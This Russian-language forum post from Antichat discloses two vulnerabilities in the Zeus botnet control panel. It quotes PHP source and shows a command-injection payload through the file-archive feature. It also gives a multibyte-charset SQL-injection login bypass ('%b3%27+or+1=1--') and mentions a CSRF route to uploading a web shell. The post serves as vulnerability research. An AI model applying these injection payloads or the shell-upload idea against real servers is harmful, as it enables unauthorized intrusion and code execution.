HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.03.2012, 01:00
WhiteHacK
Новичок
Регистрация: 13.09.2019
Сообщений: 0
С нами: 3509483

Репутация: 0
По умолчанию

Уязвимости панели управления ботнетом Zeus

Ковырялся в зевсе, дельного ничего не нашёл, но сразу наткнулся на файл /web/system/fsarc.php, посмотрел, где используется функция из него и получил исполнение кода в админке (вроде бы ещё magic_quotes_gpc=Off нужно + нужно, чтоб функция exec() не была в disable_functions).

Итак, код функции arc_Create из fsarc.php:

source:

Код:
function arc_Create($archive, $files)
{
error_reporting
(E_ALL);
if
(
strcasecmp
(
substr
(
php_uname
(
's'
),
0
,
7
),
'windows'
) ===
0
)
  {
$archive
=
str_replace
(
'/'
,
'\\'
,
$archive
);
foreach
(
$files
as
$k
=>
$v
)
$files
[
$k
] =
str_replace
(
'/'
,
'\\'
,
$v
);
  }
$archive
.=
'.zip'
;
$cli
=
'zip -r -9 -q -S "'
.
$archive
.
'" "'
.
implode
(
'" "'
,
$files
).
'"'
;
exec
(
$cli
,
$e
,
$r
);
if
(
$r
!=
0
)
echo
"(error: $r) "
.
$cli
.
'
'
;
return
$r
?
false
:
$archive
;
}

Вызывается она лишь в /web/system/reports_files.php:

source:

Код:
//Создание архива.
else
if
(
$_POST
[
'filesaction'
] ==
1
)
  {
$list
=
array
();
foreach
(
$_POST
[
'files'
]
as
$file
)
$list
[] =
$_CUR_PATH
.
'/'
.
$file
;
if
((
$arcfile
=
CreateTempFile
(
'arc'
)) ===
false
)
die
(
'Failed to create temp file.'
);
    @
unlink
(
$arcfile
);
require_once
(
'fsarc.php'
);
if
(!
function_exists
(
'arc_Create'
) || (
$arcfile
=
arc_Create
(
$arcfile
,
$list
)) ===
false
)
die
(
'Failed to create archive, please check "system/fsarc.php" script.'
);
HTTPDownloadHeaders
(
basename_ex
(
$arcfile
), @
filesize
(
$arcfile
));
echo
@
file_get_contents
(
$arcfile
);
    @
unlink
(
$arcfile
);
die
();
  }

Юзаем,

авторизованными в админке так:

source:

Код:


На выходе имеем примерно такую команду:
source:

Код:
zip
-r -
9
-q -S
"/PATH/zeustest/web/tmp/arcPdRbao.zip"
"_reports/"
; evil code
#"

Соответственно, magic_quotes_gpc=Off нужно, чтобы можно было закрыть кавычку, а вторую кавычку мы закомментировали.

P.S. Наверное ценность этой баги стремится к нулю, но мб кому-то нужно будет похекать серв, имея админку зеуса.

Теоретически можно впарить админу автосубмитящуюся форму с кодом на заливку шелла, поскольку там CSRF..)

==========

Конечно очень тупо, но на самом деле можно обойти авторизацию при некоторых обстоятельствах)

Применима бага лишь только если китайцы или ещё кто юзают свои кодировки вместо юникода. Я этого не знаю...

А именно - должна использоваться мультибайтовая кодировка типа BIG5, GBK или SJIS.

Это отражается в файле /web/system/global.php:

source:

Код:
define
(
'MYSQL_CODEPAGE'
,
'utf8'
);
/
/
здесь должна быть другая кодировка
define
(
'MYSQL_COLLATE'
,
'utf8_unicode_ci'
);

Тогда можно авторизоваться в обход защиты в cp.php:

source:

Код:
if
(
isset
(
$_POST
[
'user'
]) &&
isset
(
$_POST
[
'pass'
]))
    {
$user
=
$_POST
[
'user'
];
$pass
=
md5
(
$_POST
[
'pass'
]);
//Проверяем логин.
if
(@
mysql_query
(
"SELECT id FROM cp_users WHERE name='"
.
addslashes
(
$user
).
"' AND pass='"
.
addslashes
(
$pass
).
"' AND flag_enabled='1' LIMIT 1"
) && @
mysql_affected_rows
() ==
1
)
      {
if
(
isset
(
$_POST
[
'remember'
]) &&
$_POST
[
'remember'
] ==
1
)
        {
setcookie
(COOKIE_USER,
md5
(
$user
), COOKIE_LIVETIME, CP_HTTP_ROOT);
setcookie
(COOKIE_PASS,
$pass
,      COOKIE_LIVETIME, CP_HTTP_ROOT);
        }
LockSession
();
$_SESSION
[
'name'
] =
$user
;
$_SESSION
[
'pass'
] =
$pass
;
//UnlockSession();
header
(
'Location: '
.QUERY_STRING_BLANK.
'home'
);
      }
else
ShowLoginForm
(
true
);
die
();
    }

Эксплойт: пишем в name %b3%27+or+1=1--.

Спойлер
http://ahack.ru
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.